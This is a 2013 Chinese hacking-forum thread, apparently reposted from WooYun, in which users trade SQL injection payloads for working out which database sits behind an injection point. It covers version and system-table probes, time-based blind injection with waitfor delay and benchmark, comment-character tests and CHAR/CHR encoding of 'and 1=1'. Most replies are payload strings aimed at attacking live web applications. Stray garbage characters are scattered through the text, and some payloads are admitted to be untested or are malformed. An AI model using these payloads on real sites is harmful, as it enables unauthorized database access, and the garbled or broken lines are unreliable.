找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库! ~' P4 T: V8 Z1 v% G+ g8 ^
xsser (十根阳具有长短!!) | 2013-02-05 12:36
- S/ l' D6 [) A% v( z5 d假设这么一个注射点:/ b3 U6 G' H' P- M* ?; X2 S
show.html?id=2
3 g# T! O8 f4 U5 q( smysql:id=2 and version()>0
( P8 ?: q& e0 Moracle:id=2 and '1'||'1'='11, N0 w4 t/ k- l3 V
其他的欢迎补充
7 [7 M3 b* e! B* T1#  K* C" r8 I/ R8 m) s7 ^1 ~; M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:471 T8 R  L& B5 q* r
Access:
0 w5 V7 O6 j: h1 a" _4 Y6 C4 z4 `aNd aSc(cHr(97))=97/ g. c/ V+ R7 d9 d  S8 A
and exists(select id from MSysAccessObjects)
, l$ W, c1 v6 S9 WSQL Server:# f# }9 D* {' C& z0 h
and exists(select id from sysobjects); m# Y9 d. O, e* N  ]+ q
and length(user)>0: x8 ?6 |5 V- q
MySQL:: X/ @8 C0 u! d/ C0 M. g
and length(user())>0
, u5 F! R9 J! w; k: n2#
* u+ ~5 f! d& ?- D* ^xsser (十根阳具有长短!!) | 2013-02-05 12:48
+ w7 j+ F4 t! S' A- B+ v/ ~@upload 如果这些都不是呢…
1 c4 T. \! [7 b7 K3 {4 M3#
- h8 j' G6 X8 E- c6 ], Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
! y3 h- \: L9 Z/ _@xsser 不快速的,延时注入
! |+ E/ G+ T7 }不知道这样写对不对
7 E! d% M) c+ \* [3 o' Umssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'8 K( {- I: R, R
mysql:id=2 and select benchmark(1e8,current_date());
" G- p  j: L. r3 D3 A0 A, a4#1 V/ y% A( R* l5 e: x( f+ a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
9 }$ H4 p3 z4 Q. X: }& v; f最快的貌似是看报错信息
4 `( I2 p& K+ R, C/ Doracle error
3 H) [% {3 T2 u; G5 Imssql error
+ `% s/ I' _+ C0 @/ `1 q5 f- Zmysql error" P) ^7 Z1 @1 i
5#
. B$ w' Y! v9 x& ~Nimda (你们都是坏银~) | 2013-02-05 13:14
, F6 C9 c" C) s" a/ A- S* K小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
' t5 }: i6 Q* v9 W  g6#* S7 @& G5 A8 u/ h2 f+ I
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
1 ?8 a1 a2 p# R% c) y“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
) c5 }2 j3 W" K& }5 I5 G“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:9 d5 C1 V+ i( F3 ?+ K& A8 \
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
6 r5 V  v5 k/ E: Z+ G9 {7#: e8 v" p* \: `+ U0 k
_Evil (HackEnd) | 2013-02-05 13:33
" F3 L$ ~) K2 h' n: Z! p) UPostgreSQL
$ ^  q9 `: i+ f9 O5 @8#
) v8 t0 v0 P3 G8 h- R- Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
2 d7 d$ O) v+ G# e3 J, D- f切换编码 and 1=15 G) D* i5 ^! V, l$ d5 c1 c
oracle:3 Q/ d  F; [6 A: l
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)6 K: Y# _' Z, ?" |3 }, C! _2 ?
mssql:5 w8 A# [7 W: F
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
; Z- r0 S* ]  n( N; n1 B+ smysql:
6 u5 o8 r3 k  e3 \9 d2 O, ECHAR(97, 110, 100, 32, 49, 61, 49): {) J& q1 F- c, y
9#7 b0 l2 r2 s) }; U7 \6 \
xsser (十根阳具有长短!!) | 2013-02-05 14:313 h+ E( W- ~  M& p
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?1 M8 L- h' Q. P
10#1 V! s* j) h1 w% G4 q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46# x3 Q2 ~5 C2 D& T' H
@xsser 是奇葩数据库类型的么?
8 B* Y+ G" Y9 G  i! s9 M根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:  \/ a' [; r6 U) ~' ~: j
1.是否可以使用特定的函数来判断,该数据库特有的
  K- K" L$ p' |9 r5 j2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等* ^3 D0 H% {* ?( Q7 w6 x
3.是否可以编码查询
- {2 k. Y  i1 Q4 A) f4.是否显可以利用错信息: m, B5 {. L4 G2 x7 {
5.是否存在数据库某些特性辅助判断
% z; O8 u$ \! k: c1 j- E个人见解0 H' P+ q5 R) k% I- E
11#. {: t) I7 U  B- R4 k  i
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
2 J6 {. _6 t; L, c已收藏,mssql可以直接看到错误提示的吧~4 p! H$ h, L- H6 w7 T+ u( }% H# t
12#
$ g$ s. G2 x# \  W* _Passer_by | 2013-02-05 15:091 o: Q3 _# T3 u6 r
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
6 V# k0 @7 Z0 S/ Q: S) M  j& dfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表